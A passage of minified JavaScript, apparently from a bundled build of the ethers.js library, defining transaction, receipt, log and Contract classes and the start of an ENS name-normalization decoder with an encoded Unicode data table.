t;if("number"===typeof e)t=this.#q[e];else{const n=e.toLowerCase();for(const e of this.#q){if("string"===typeof e){if(e!==n)continue;t=e;break}if(e.hash===n){t=e;break}}}if(null==t)throw new Error("no such tx");return"string"===typeof t?await this.provider.getTransaction(t):t}getPrefetchedTransaction(e){const t=this.prefetchedTransactions;if("number"===typeof e)return t[e];e=e.toLowerCase();for(const n of t)if(n.hash===e)return n;p(!1,"no matching transaction","indexOrHash",e)}isMined(){return!!this.hash}isLondon(){return!!this.baseFeePerGas}orphanedEvent(){if(!this.isMined())throw new Error("");return{orphan:"drop-block",hash:(e=this).hash,number:e.number};var e}}class wr{provider;transactionHash;blockHash;blockNumber;removed;address;data;topics;index;transactionIndex;constructor(e,t){this.provider=t;const n=Object.freeze(e.topics.slice());l(this,{transactionHash:e.transactionHash,blockHash:e.blockHash,blockNumber:e.blockNumber,removed:e.removed,address:e.address,data:e.data,topics:n,index:e.index,transactionIndex:e.transactionIndex})}toJSON(){const{address:e,blockHash:t,blockNumber:n,data:r,index:a,removed:i,topics:s,transactionHash:o,transactionIndex:l}=this;return{_type:"log",address:e,blockHash:t,blockNumber:n,data:r,index:a,removed:i,topics:s,transactionHash:o,transactionIndex:l}}async getBlock(){const e=await this.provider.getBlock(this.blockHash);return h(!!e,"failed to find transaction","UNKNOWN_ERROR",{}),e}async getTransaction(){const e=await this.provider.getTransaction(this.transactionHash);return h(!!e,"failed to find transaction","UNKNOWN_ERROR",{}),e}async getTransactionReceipt(){const e=await this.provider.getTransactionReceipt(this.transactionHash);return h(!!e,"failed to find transaction receipt","UNKNOWN_ERROR",{}),e}removedEvent(){return{orphan:"drop-log",log:{transactionHash:(e=this).transactionHash,blockHash:e.blockHash,blockNumber:e.blockNumber,address:e.address,data:e.data,topics:Object.freeze(e.topics.slice()),index:e.index}};var e}}class vr{provider;to;from;contractAddress;hash;index;blockHash;blockNumber;logsBloom;gasUsed;blobGasUsed;cumulativeGasUsed;gasPrice;blobGasPrice;type;status;root;#K;constructor(e,t){this.#K=Object.freeze(e.logs.map((e=>new wr(e,t))));let n=hr;null!=e.effectiveGasPrice?n=e.effectiveGasPrice:null!=e.gasPrice&&(n=e.gasPrice),l(this,{provider:t,to:e.to,from:e.from,contractAddress:e.contractAddress,hash:e.hash,index:e.index,blockHash:e.blockHash,blockNumber:e.blockNumber,logsBloom:e.logsBloom,gasUsed:e.gasUsed,cumulativeGasUsed:e.cumulativeGasUsed,blobGasUsed:e.blobGasUsed,gasPrice:n,blobGasPrice:e.blobGasPrice,type:e.type,status:e.status,root:e.root})}get logs(){return this.#K}toJSON(){const{to:e,from:t,contractAddress:n,hash:r,index:a,blockHash:i,blockNumber:s,logsBloom:o,logs:l,status:u,root:c}=this;return{_type:"TransactionReceipt",blockHash:i,blockNumber:s,contractAddress:n,cumulativeGasUsed:gr(this.cumulativeGasUsed),from:t,gasPrice:gr(this.gasPrice),blobGasUsed:gr(this.blobGasUsed),blobGasPrice:gr(this.blobGasPrice),gasUsed:gr(this.gasUsed),hash:r,index:a,logs:l,logsBloom:o,root:c,status:u,to:e}}get length(){return this.logs.length}[Symbol.iterator](){let e=0;return{next:()=>e<this.length?{value:this.logs[e++],done:!1}:{value:void 0,done:!0}}}get fee(){return this.gasUsed*this.gasPrice}async getBlock(){const e=await this.provider.getBlock(this.blockHash);if(null==e)throw new Error("TODO");return e}async getTransaction(){const e=await this.provider.getTransaction(this.hash);if(null==e)throw new Error("TODO");return e}async getResult(){return await this.provider.getTransactionResult(this.hash)}async confirmations(){return await this.provider.getBlockNumber()-this.blockNumber+1}removedEvent(){return Er(this)}reorderedEvent(e){return h(!e||e.isMined(),"unmined 'other' transction cannot be orphaned","UNSUPPORTED_OPERATION",{operation:"reorderedEvent(other)"}),kr(this,e)}}class Ar{provider;blockNumber;blockHash;index;hash;type;to;from;nonce;gasLimit;gasPrice;maxPriorityFeePerGas;maxFeePerGas;maxFeePerBlobGas;data;value;chainId;signature;accessList;blobVersionedHashes;#W;constructor(e,t){this.provider=t,this.blockNumber=null!=e.blockNumber?e.blockNumber:null,this.blockHash=null!=e.blockHash?e.blockHash:null,this.hash=e.hash,this.index=e.index,this.type=e.type,this.from=e.from,this.to=e.to||null,this.gasLimit=e.gasLimit,this.nonce=e.nonce,this.data=e.data,this.value=e.value,this.gasPrice=e.gasPrice,this.maxPriorityFeePerGas=null!=e.maxPriorityFeePerGas?e.maxPriorityFeePerGas:null,this.maxFeePerGas=null!=e.maxFeePerGas?e.maxFeePerGas:null,this.maxFeePerBlobGas=null!=e.maxFeePerBlobGas?e.maxFeePerBlobGas:null,this.chainId=e.chainId,this.signature=e.signature,this.accessList=null!=e.accessList?e.accessList:null,this.blobVersionedHashes=null!=e.blobVersionedHashes?e.blobVersionedHashes:null,this.#W=-1}toJSON(){const{blockNumber:e,blockHash:t,index:n,hash:r,type:a,to:i,from:s,nonce:o,data:l,signature:u,accessList:c,blobVersionedHashes:f}=this;return{_type:"TransactionResponse",accessList:c,blockNumber:e,blockHash:t,blobVersionedHashes:f,chainId:gr(this.chainId),data:l,from:s,gasLimit:gr(this.gasLimit),gasPrice:gr(this.gasPrice),hash:r,maxFeePerGas:gr(this.maxFeePerGas),maxPriorityFeePerGas:gr(this.maxPriorityFeePerGas),maxFeePerBlobGas:gr(this.maxFeePerBlobGas),nonce:o,signature:u,to:i,index:n,type:a,value:gr(this.value)}}async getBlock(){let e=this.blockNumber;if(null==e){const t=await this.getTransaction();t&&(e=t.blockNumber)}if(null==e)return null;const t=this.provider.getBlock(e);if(null==t)throw new Error("TODO");return t}async getTransaction(){return this.provider.getTransaction(this.hash)}async confirmations(){if(null==this.blockNumber){const{tx:e,blockNumber:t}=await o({tx:this.getTransaction(),blockNumber:this.provider.getBlockNumber()});return null==e||null==e.blockNumber?0:t-e.blockNumber+1}return await this.provider.getBlockNumber()-this.blockNumber+1}async wait(e,t){const n=null==e?1:e,r=null==t?0:t;let a=this.#W,i=-1,s=-1===a;const l=async()=>{if(s)return null;const{blockNumber:e,nonce:t}=await o({blockNumber:this.provider.getBlockNumber(),nonce:this.provider.getTransactionCount(this.from)});if(t<this.nonce)return void(a=e);if(s)return null;const r=await this.getTransaction();if(!r||null==r.blockNumber)for(-1===i&&(i=a-3,i<this.#W&&(i=this.#W));i<=e;){if(s)return null;const t=await this.provider.getBlock(i,!0);if(null==t)return;for(const e of t)if(e===this.hash)return;for(let r=0;r<t.length;r++){const i=await t.getTransaction(r);if(i.from===this.from&&i.nonce===this.nonce){if(s)return null;const t=await this.provider.getTransactionReceipt(i.hash);if(null==t)return;if(e-t.blockNumber+1<n)return;let r="replaced";i.data===this.data&&i.to===this.to&&i.value===this.value?r="repriced":"0x"===i.data&&i.from===i.to&&i.value===hr&&(r="cancelled"),h(!1,"transaction was replaced","TRANSACTION_REPLACED",{cancelled:"replaced"===r||"cancelled"===r,reason:r,replacement:i.replaceableTransaction(a),hash:i.hash,receipt:t})}}i++}},u=e=>{if(null==e||0!==e.status)return e;h(!1,"transaction execution reverted","CALL_EXCEPTION",{action:"sendTransaction",data:null,reason:null,invocation:null,revert:null,transaction:{to:e.to,from:e.from,data:""},receipt:e})},f=await this.provider.getTransactionReceipt(this.hash);if(0===n)return u(f);if(f){if(await f.confirmations()>=n)return u(f)}else if(await l(),0===n)return null;const p=new Promise(((e,t)=>{const i=[],o=()=>{i.forEach((e=>e()))};if(i.push((()=>{s=!0})),r>0){const e=setTimeout((()=>{o(),t(d("wait for transaction timeout","TIMEOUT"))}),r);i.push((()=>{clearTimeout(e)}))}const f=async r=>{if(await r.confirmations()>=n){o();try{e(u(r))}catch(a){t(a)}}};if(i.push((()=>{this.provider.off(this.hash,f)})),this.provider.on(this.hash,f),a>=0){const e=async()=>{try{await l()}catch(n){if(c(n,"TRANSACTION_REPLACED"))return o(),void t(n)}s||this.provider.once("block",e)};i.push((()=>{this.provider.off("block",e)})),this.provider.once("block",e)}}));return await p}isMined(){return null!=this.blockHash}isLegacy(){return 0===this.type}isBerlin(){return 1===this.type}isLondon(){return 2===this.type}isCancun(){return 3===this.type}removedEvent(){return h(this.isMined(),"unmined transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"}),Er(this)}reorderedEvent(e){return h(this.isMined(),"unmined transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"}),h(!e||e.isMined(),"unmined 'other' transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"}),kr(this,e)}replaceableTransaction(e){p(Number.isInteger(e)&&e>=0,"invalid startBlock","startBlock",e);const t=new Ar(this,this.provider);return t.#W=e,t}}function kr(e,t){return{orphan:"reorder-transaction",tx:e,other:t}}function Er(e){return{orphan:"drop-transaction",tx:e}}class Sr{filter;emitter;#Y;constructor(e,t,n){this.#Y=t,l(this,{emitter:e,filter:n})}async removeListener(){null!=this.#Y&&await this.emitter.off(this.filter,this.#Y)}}class xr extends wr{interface;fragment;args;constructor(e,t,n){super(e,e.provider);l(this,{args:t.decodeEventLog(n,e.data,e.topics),fragment:n,interface:t})}get eventName(){return this.fragment.name}get eventSignature(){return this.fragment.format()}}class Pr extends wr{error;constructor(e,t){super(e,e.provider),l(this,{error:t})}}class Cr extends vr{#Z;constructor(e,t,n){super(n,t),this.#Z=e}get logs(){return super.logs.map((e=>{const t=e.topics.length?this.#Z.getEvent(e.topics[0]):null;if(t)try{return new xr(e,this.#Z,t)}catch(n){return new Pr(e,n)}return e}))}}class Nr extends Ar{#Z;constructor(e,t,n){super(n,t),this.#Z=e}async wait(e,t){const n=await super.wait(e,t);return null==n?null:new Cr(this.#Z,this.provider,n)}}class Or extends Sr{log;constructor(e,t,n,r){super(e,t,n),l(this,{log:r})}async getBlock(){return await this.log.getBlock()}async getTransaction(){return await this.log.getTransaction()}async getTransactionReceipt(){return await this.log.getTransactionReceipt()}}class Tr extends Or{constructor(e,t,n,r,a){super(e,t,n,new xr(a,e.interface,r));l(this,{args:e.interface.decodeEventLog(r,this.log.data,this.log.topics),fragment:r})}get eventName(){return this.fragment.name}get eventSignature(){return this.fragment.format()}}const Rr=BigInt(0);function Ir(e){return e&&"function"===typeof e.call}function Br(e){return e&&"function"===typeof e.estimateGas}function Fr(e){return e&&"function"===typeof e.resolveName}function Lr(e){return e&&"function"===typeof e.sendTransaction}function Dr(e){if(null!=e){if(Fr(e))return e;if(e.provider)return e.provider}}class Ur{#X;fragment;constructor(e,t,n){if(l(this,{fragment:t}),t.inputs.length<n.length)throw new Error("too many arguments");const r=Mr(e.runner,"resolveName"),a=Fr(r)?r:null;this.#X=async function(){const r=await Promise.all(t.inputs.map(((e,t)=>null==n[t]?null:e.walkAsync(n[t],((e,t)=>"address"===e?Array.isArray(t)?Promise.all(t.map((e=>Cn(e,a)))):Cn(t,a):t)))));return e.interface.encodeFilterTopics(t,r)}()}getTopicFilter(){return this.#X}}function Mr(e,t){return null==e?null:"function"===typeof e[t]?e:e.provider&&"function"===typeof e.provider[t]?e.provider:null}function zr(e){return null==e?null:e.provider||null}async function _r(e,t){const n=rt.dereference(e,"overrides");p("object"===typeof n,"invalid overrides parameter","overrides",e);const r=yr(n);return p(null==r.to||(t||[]).indexOf("to")>=0,"cannot override to","overrides.to",r.to),p(null==r.data||(t||[]).indexOf("data")>=0,"cannot override data","overrides.data",r.data),r.from&&(r.from=r.from),r}function Hr(e){const t=async function(t){const n=await _r(t,["data"]);n.to=await e.getAddress(),n.from&&(n.from=await Cn(n.from,Dr(e.runner)));const r=e.interface,a=D(n.value||Rr,"overrides.value")===Rr,i="0x"===(n.data||"0x");!r.fallback||r.fallback.payable||!r.receive||i||a||p(!1,"cannot send data to receive or send value to non-payable fallback","overrides",t),p(r.fallback||i,"cannot send data to receive-only contract","overrides.data",n.data);return p(r.receive||r.fallback&&r.fallback.payable||a,"cannot send value to non-payable fallback","overrides.value",n.value),p(r.fallback||i,"cannot send data to receive-only contract","overrides.data",n.data),n},n=async function(n){const r=e.runner;h(Lr(r),"contract runner does not support sending transactions","UNSUPPORTED_OPERATION",{operation:"sendTransaction"});const a=await r.sendTransaction(await t(n)),i=zr(e.runner);return new Nr(e.interface,i,a)},r=async e=>await n(e);return l(r,{_contract:e,estimateGas:async function(n){const r=Mr(e.runner,"estimateGas");return h(Br(r),"contract runner does not support gas estimation","UNSUPPORTED_OPERATION",{operation:"estimateGas"}),await r.estimateGas(await t(n))},populateTransaction:t,send:n,staticCall:async function(n){const r=Mr(e.runner,"call");h(Ir(r),"contract runner does not support calling","UNSUPPORTED_OPERATION",{operation:"call"});const a=await t(n);try{return await r.call(a)}catch(i){if(f(i)&&i.data)throw e.interface.makeError(i.data,a);throw i}}}),r}function jr(e,t){const n=function(){for(var n=arguments.length,r=new Array(n),a=0;a<n;a++)r[a]=arguments[a];const i=e.interface.getFunction(t,r);return h(i,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:t,args:r}}),i},r=async function(){for(var t=arguments.length,r=new Array(t),a=0;a<t;a++)r[a]=arguments[a];const i=n(...r);let s={};if(i.inputs.length+1===r.length&&(s=await _r(r.pop()),s.from&&(s.from=await Cn(s.from,Dr(e.runner)))),i.inputs.length!==r.length)throw new Error("internal error: fragment inputs doesn't match arguments; should not happen");const l=await async function(e,t,n){const r=Mr(e,"resolveName"),a=Fr(r)?r:null;return await Promise.all(t.map(((e,t)=>e.walkAsync(n[t],((e,t)=>(t=rt.dereference(t,e),"address"===e?Cn(t,a):t))))))}(e.runner,i.inputs,r);return Object.assign({},s,await o({to:e.getAddress(),data:e.interface.encodeFunctionData(i,l)}))},a=async function(){const e=await s(...arguments);return 1===e.length?e[0]:e},i=async function(){const t=e.runner;h(Lr(t),"contract runner does not support sending transactions","UNSUPPORTED_OPERATION",{operation:"sendTransaction"});const n=await t.sendTransaction(await r(...arguments)),a=zr(e.runner);return new Nr(e.interface,a,n)},s=async function(){const t=Mr(e.runner,"call");h(Ir(t),"contract runner does not support calling","UNSUPPORTED_OPERATION",{operation:"call"});const a=await r(...arguments);let i="0x";try{i=await t.call(a)}catch(o){if(f(o)&&o.data)throw e.interface.makeError(o.data,a);throw o}const s=n(...arguments);return e.interface.decodeFunctionResult(s,i)},u=async function(){return n(...arguments).constant?await a(...arguments):await i(...arguments)};return l(u,{name:e.interface.getFunctionName(t),_contract:e,_key:t,getFragment:n,estimateGas:async function(){const t=Mr(e.runner,"estimateGas");return h(Br(t),"contract runner does not support gas estimation","UNSUPPORTED_OPERATION",{operation:"estimateGas"}),await t.estimateGas(await r(...arguments))},populateTransaction:r,send:i,staticCall:a,staticCallResult:s}),Object.defineProperty(u,"fragment",{configurable:!1,enumerable:!0,get:()=>{const n=e.interface.getFunction(t);return h(n,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:t}}),n}}),u}const Gr=Symbol.for("_ethersInternal_contract"),Qr=new WeakMap;function Vr(e){return Qr.get(e[Gr])}async function Jr(e,t){let n,r=null;if(Array.isArray(t)){const r=function(t){if(A(t,32))return t;const n=e.interface.getEvent(t);return p(n,"unknown fragment","name",t),n.topicHash};n=t.map((e=>null==e?null:Array.isArray(e)?e.map(r):r(e)))}else"*"===t?n=[null]:"string"===typeof t?A(t,32)?n=[t]:(r=e.interface.getEvent(t),p(r,"unknown fragment","event",t),n=[r.topicHash]):(a=t)&&"object"===typeof a&&"getTopicFilter"in a&&"function"===typeof a.getTopicFilter&&a.fragment?n=await t.getTopicFilter():"fragment"in t?(r=t.fragment,n=[r.topicHash]):p(!1,"unknown event name","event",t);var a;n=n.map((e=>{if(null==e)return null;if(Array.isArray(e)){const t=Array.from(new Set(e.map((e=>e.toLowerCase()))).values());return 1===t.length?t[0]:(t.sort(),t)}return e.toLowerCase()}));return{fragment:r,tag:n.map((e=>null==e?"null":Array.isArray(e)?e.join("|"):e)).join("&"),topics:n}}async function qr(e,t){const{subs:n}=Vr(e);return n.get((await Jr(e,t)).tag)||null}async function Kr(e,t,n){const r=zr(e.runner);h(r,"contract runner does not support subscribing","UNSUPPORTED_OPERATION",{operation:t});const{fragment:a,tag:i,topics:s}=await Jr(e,n),{addr:o,subs:l}=Vr(e);let u=l.get(i);if(!u){const t={address:o||e,topics:s},c=t=>{let r=a;if(null==r)try{r=e.interface.getEvent(t.topics[0])}catch(i){}if(r){const i=r,s=a?e.interface.decodeEventLog(a,t.data,t.topics):[];Yr(e,n,s,(r=>new Tr(e,r,n,i,t)))}else Yr(e,n,[],(r=>new Or(e,r,n,t)))};let f=[];u={tag:i,listeners:[],start:()=>{f.length||f.push(r.on(t,c))},stop:async()=>{if(0==f.length)return;let e=f;f=[],await Promise.all(e),r.off(t,c)}},l.set(i,u)}return u}let Wr=Promise.resolve();async function Yr(e,t,n,r){try{await Wr}catch(i){}const a=async function(e,t,n,r){await Wr;const a=await qr(e,t);if(!a)return!1;const s=a.listeners.length;return a.listeners=a.listeners.filter((t=>{let{listener:a,once:s}=t;const o=Array.from(n);r&&o.push(r(s?null:a));try{a.call(e,...o)}catch(i){}return!s})),0===a.listeners.length&&(a.stop(),Vr(e).subs.delete(a.tag)),s>0}(e,t,n,r);return Wr=a,await a}const Zr=["then"];class Xr{target;interface;runner;filters;[Gr];fallback;constructor(e,t,n,r){p("string"===typeof e||xn(e),"invalid value for Contract target","target",e),null==n&&(n=null);const a=dr.from(t);let i;l(this,{target:e,runner:n,interface:a}),Object.defineProperty(this,Gr,{value:{}});let s=null,o=null;if(r){const e=zr(n);o=new Nr(this.interface,e,r)}let u=new Map;if("string"===typeof e)if(A(e))s=e,i=Promise.resolve(e);else{const t=Mr(n,"resolveName");if(!Fr(t))throw d("contract runner does not support name resolution","UNSUPPORTED_OPERATION",{operation:"resolveName"});i=t.resolveName(e).then((t=>{if(null==t)throw d("an ENS name used for a contract target must be correctly configured","UNCONFIGURED_NAME",{value:e});return Vr(this).addr=t,t}))}else i=e.getAddress().then((e=>{if(null==e)throw new Error("TODO");return Vr(this).addr=e,e}));var f,h;f=this,h={addrPromise:i,addr:s,deployTx:o,subs:u},Qr.set(f[Gr],h);const g=new Proxy({},{get:(e,t,n)=>{if("symbol"===typeof t||Zr.indexOf(t)>=0)return Reflect.get(e,t,n);try{return this.getEvent(t)}catch(r){if(!c(r,"INVALID_ARGUMENT")||"key"!==r.argument)throw r}},has:(e,t)=>Zr.indexOf(t)>=0?Reflect.has(e,t):Reflect.has(e,t)||this.interface.hasEvent(String(t))});return l(this,{filters:g}),l(this,{fallback:a.receive||a.fallback?Hr(this):null}),new Proxy(this,{get:(e,t,n)=>{if("symbol"===typeof t||t in e||Zr.indexOf(t)>=0)return Reflect.get(e,t,n);try{return e.getFunction(t)}catch(r){if(!c(r,"INVALID_ARGUMENT")||"key"!==r.argument)throw r}},has:(e,t)=>"symbol"===typeof t||t in e||Zr.indexOf(t)>=0?Reflect.has(e,t):e.interface.hasFunction(t)})}connect(e){return new Xr(this.target,this.interface,e)}attach(e){return new Xr(e,this.interface,this.runner)}async getAddress(){return await Vr(this).addrPromise}async getDeployedCode(){const e=zr(this.runner);h(e,"runner does not support .provider","UNSUPPORTED_OPERATION",{operation:"getDeployedCode"});const t=await e.getCode(await this.getAddress());return"0x"===t?null:t}async waitForDeployment(){const e=this.deploymentTransaction();if(e)return await e.wait(),this;if(null!=await this.getDeployedCode())return this;const t=zr(this.runner);return h(null!=t,"contract runner does not support .provider","UNSUPPORTED_OPERATION",{operation:"waitForDeployment"}),new Promise(((e,n)=>{const r=async()=>{try{if(null!=await this.getDeployedCode())return e(this);t.once("block",r)}catch(a){n(a)}};r()}))}deploymentTransaction(){return Vr(this).deployTx}getFunction(e){"string"!==typeof e&&(e=e.format());return jr(this,e)}getEvent(e){return"string"!==typeof e&&(e=e.format()),function(e,t){const n=function(){for(var n=arguments.length,r=new Array(n),a=0;a<n;a++)r[a]=arguments[a];const i=e.interface.getEvent(t,r);return h(i,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:t,args:r}}),i},r=function(){for(var t=arguments.length,r=new Array(t),a=0;a<t;a++)r[a]=arguments[a];return new Ur(e,n(...r),r)};return l(r,{name:e.interface.getEventName(t),_contract:e,_key:t,getFragment:n}),Object.defineProperty(r,"fragment",{configurable:!1,enumerable:!0,get:()=>{const n=e.interface.getEvent(t);return h(n,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:t}}),n}}),r}(this,e)}async queryTransaction(e){throw new Error("@TODO")}async queryFilter(e,t,n){null==t&&(t=0),null==n&&(n="latest");const{addr:r,addrPromise:a}=Vr(this),i=r||await a,{fragment:s,topics:o}=await Jr(this,e),l={address:i,topics:o,fromBlock:t,toBlock:n},u=zr(this.runner);return h(u,"contract runner does not have a provider","UNSUPPORTED_OPERATION",{operation:"queryFilter"}),(await u.getLogs(l)).map((e=>{let t=s;if(null==t)try{t=this.interface.getEvent(e.topics[0])}catch(n){}if(t)try{return new xr(e,this.interface,t)}catch(n){return new Pr(e,n)}return new wr(e,u)}))}async on(e,t){const n=await Kr(this,"on",e);return n.listeners.push({listener:t,once:!1}),n.start(),this}async once(e,t){const n=await Kr(this,"once",e);return n.listeners.push({listener:t,once:!0}),n.start(),this}async emit(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];return await Yr(this,e,n,null)}async listenerCount(e){if(e){const t=await qr(this,e);return t?t.listeners.length:0}const{subs:t}=Vr(this);let n=0;for(const{listeners:r}of t.values())n+=r.length;return n}async listeners(e){if(e){const t=await qr(this,e);return t?t.listeners.map((e=>{let{listener:t}=e;return t})):[]}const{subs:t}=Vr(this);let n=[];for(const{listeners:r}of t.values())n=n.concat(r.map((e=>{let{listener:t}=e;return t})));return n}async off(e,t){const n=await qr(this,e);if(!n)return this;if(t){const e=n.listeners.map((e=>{let{listener:t}=e;return t})).indexOf(t);e>=0&&n.listeners.splice(e,1)}return null!=t&&0!==n.listeners.length||(n.stop(),Vr(this).subs.delete(n.tag)),this}async removeAllListeners(e){if(e){const t=await qr(this,e);if(!t)return this;t.stop(),Vr(this).subs.delete(t.tag)}else{const{subs:e}=Vr(this);for(const{tag:t,stop:n}of e.values())n(),e.delete(t)}return this}async addListener(e,t){return await this.on(e,t)}async removeListener(e,t){return await this.off(e,t)}static buildClass(e){return class extends Xr{constructor(t){super(t,e,arguments.length>1&&void 0!==arguments[1]?arguments[1]:null)}}}static from(e,t,n){null==n&&(n=null);return new this(e,t,n)}}class $r extends(function(){return Xr}()){}const ea=new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]);function ta(e){return function(e){let t=0;return()=>e[t++]}(function(e){let t=0;function n(){return e[t++]<<8|e[t++]}let r=n(),a=1,i=[0,1];for(let v=1;v<r;v++)i.push(a+=n());let s=n(),o=t;t+=s;let l=0,u=0;function c(){return 0==l&&(u=u<<8|e[t++],l=8),u>>--l&1}const f=2**31,d=f>>>1,h=d>>1,p=f-1;let g=0;for(let v=0;v<31;v++)g=g<<1|c();let m=[],y=0,b=f;for(;;){let e=Math.floor(((g-y+1)*a-1)/b),t=0,n=r;for(;n-t>1;){let r=t+n>>>1;e<i[r]?n=r:t=r}if(0==t)break;m.push(t);let s=y+Math.floor(b*i[t]/a),o=y+Math.floor(b*i[t+1]/a)-1;for(;0==((s^o)&d);)g=g<<1&p|c(),s=s<<1&p,o=o<<1&p|1;for(;s&~o&h;)g=g&d|g<<1&p>>>1|c(),s=s<<1^d,o=(o^d)<<1|d|1;y=s,b=1+o-s}let w=r-4;return m.map((t=>{switch(t-w){case 3:return w+65792+(e[o++]<<16|e[o++]<<8|e[o++]);case 2:return w+256+(e[o++]<<8|e[o++]);case 1:return w+e[o++];default:return t-1}}))}(function(e){let t=[];[..."ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"].forEach(((e,n)=>t[e.charCodeAt(0)]=n));let n=e.length,r=new Uint8Array(6*n>>3);for(let a=0,i=0,s=0,o=0;a<n;a++)o=o<<6|t[e.charCodeAt(a)],s+=6,s>=8&&(r[i++]=o>>(s-=8));return r}(e)))}function na(e){return 1&e?~e>>1:e>>1}function ra(e,t){let n=Array(e);for(let r=0,a=0;r<e;r++)n[r]=a+=na(t());return n}function aa(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=[];for(;;){let r=e(),a=e();if(!a)break;t+=r;for(let e=0;e<a;e++)n.push(t+e);t+=a+1}return n}function ia(e){return oa((()=>{let t=aa(e);if(t.length)return t}))}function sa(e){let t=[];for(;;){let n=e();if(0==n)break;t.push(ua(n,e))}for(;;){let n=e()-1;if(n<0)break;t.push(ca(n,e))}return t.flat()}function oa(e){let t=[];for(;;){let n=e(t.length);if(!n)break;t.push(n)}return t}function la(e,t,n){let r=Array(e).fill().map((()=>[]));for(let a=0;a<t;a++)ra(e,n).forEach(((e,t)=>r[t].push(e)));return r}function ua(e,t){let n=1+t(),r=t(),a=oa(t);return la(a.length,1+e,t).flatMap(((e,t)=>{let[i,...s]=e;return Array(a[t]).fill().map(((e,t)=>{let a=t*r;return[i+t*n,s.map((e=>e+a))]}))}))}function ca(e,t){return la(1+t(),1+e,t).map((e=>[e[0],e.slice(1)]))}function fa(e){return`{${function(e){return e.toString(16).toUpperCase().padStart(2,"0")}(e)}}`}function da(e){let t=[];for(let n=0,r=e.length;n<r;){let r=e.codePointAt(n);n+=r<65536?1:2,t.push(r)}return t}function ha(e){let t=e.length;if(t<4096)return String.fromCodePoint(...e);let n=[];for(let r=0;r<t;)n.push(String.fromCodePoint(...e.slice(r,r+=4096)));return n.join("")}function pa(e,t){let n=e.length,r=n-t.length;for(let a=0;0==r&&a<n;a++)r=e[a]-t[a];return r}const ga=44032,ma=4352,ya=4449,ba=4519,wa=28,va=588;function Aa(e){return e>>24&255}function ka(e){return 16777215&e}let Ea,Sa,xa,Pa;function Ca(e){return e>=ga&&e<55204}function Na(e,t){if(e>=ma&&e<4371&&t>=ya&&t<4470)return ga+(e-ma)*va+(t-ya)*wa;if(Ca(e)&&t>ba&&t<4547&&(e-ga)%wa==0)return e+(t-ba);{let n=Pa.get(e);return n&&(n=n.get(t),n)?n:-1}}function Oa(e){Ea||function(){let e=ta("AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAAwACgANAA0AAwAKAAkABAAdAAYAZwDSAdsDJgC0CkMB8xhZAqfoC190UGcThgBurwf7PT09Pb09AjgJum8OjDllxHYUKXAPxzq6tABAxgK8ysUvWAgMPT09PT09PSs6LT2HcgWXWwFLoSMEEEl5RFVMKvO0XQ8ExDdJMnIgsj26PTQyy8FfEQ8AY8IPAGcEbwRwBHEEcgRzBHQEdQR2BHcEeAR6BHsEfAR+BIAEgfndBQoBYgULAWIFDAFiBNcE2ATZBRAFEQUvBdALFAsVDPcNBw13DYcOMA4xDjMB4BllHI0B2grbAMDpHLkQ7QHVAPRNQQFnGRUEg0yEB2uaJF8AJpIBpob5AERSMAKNoAXqaQLUBMCzEiACnwRZEkkVsS7tANAsBG0RuAQLEPABv9HICTUBXigPZwRBApMDOwAamhtaABqEAY8KvKx3LQ4ArAB8UhwEBAVSagD8AEFZADkBIadVj2UMUgx5Il4ANQC9AxIB1BlbEPMAs30CGxlXAhwZKQIECBc6EbsCoxngzv7UzRQA8M0BawL6ZwkN7wABAD33OQRcsgLJCjMCjqUChtw/km+NAsXPAoP2BT84PwURAK0RAvptb6cApQS/OMMey5HJS84UdxpxTPkCogVFITaTOwERAK5pAvkNBOVyA7q3BKlOJSALAgUIBRcEdASpBXqzABXFSWZOawLCOqw//AolCZdvv3dSBkEQGyelEPcMMwG1ATsN7UvYBPEGOwTJH30ZGQ/NlZwIpS3dDO0m4y6hgFoj9SqDBe1L9DzdC01RaA9ZC2UJ4zpjgU4DIQENIosK3Q05CG0Q8wrJaw3lEUUHOQPVSZoApQcBCxEdNRW1JhBirAsJOXcG+xr2C48mrxMpevwF0xohBk0BKRr/AM8u54WwWjFcHE9fBgMLJSPHFKhQIA0lQLd4SBobBxUlqQKRQ3BKh1E2HpMh9jw9DWYuE1F8B/U8BRlPC4E8nkarRQ4R0j6NPUgiSUwsBDV/LC8niwnPD4UMuXxyAVkJIQmxDHETMREXN8UIOQcZLZckJxUIIUaVYJoE958D8xPRAwsFPwlBBxMDtRwtEy4VKQUNgSTXAvM21S6zAo9WgAEXBcsPJR/fEFBH4A7pCJsCZQODJesALRUhABcimwhDYwBfj9hTBS7LCMdqbCN0A2cU52ERcweRDlcHpxwzFb8c4XDIXguGCCijrwlbAXUJmQFfBOMICTVbjKAgQWdTi1gYmyBhQT9d/AIxDGUVn0S9h3gCiw9rEhsBNQFzBzkNAQJ3Ee0RaxCVCOuGBDW1M/g6JQRPIYMgEQonA09szgsnJvkM+GkBoxJiAww0PXfuZ6tgtiQX/QcZMsVBYCHxC5JPzQycGsEYQlQuGeQHvwPzGvMn6kFXBf8DowMTOk0z7gS9C2kIiwk/AEkOoxcH1xhqCnGM0AExiwG3mQNXkYMCb48GNwcLAGcLhwV55QAdAqcIowAFAM8DVwA5Aq0HnQAZAIVBAT0DJy8BIeUCjwOTCDHLAZUvAfMpBBvDDBUA9zduSgLDsQKAamaiBd1YAo4CSTUBTSUEBU5HUQOvceEA2wBLBhPfRwEVq0rLGuNDAd9vKwDHAPsABTUHBUEBzQHzbQC3AV8LMQmis7UBTekpAIMAFWsB1wKJAN0ANQB/8QFTAE0FWfkF0wJPSQERMRgrV2EBuwMfATMBDQB5BsuNpckHHwRtB9MC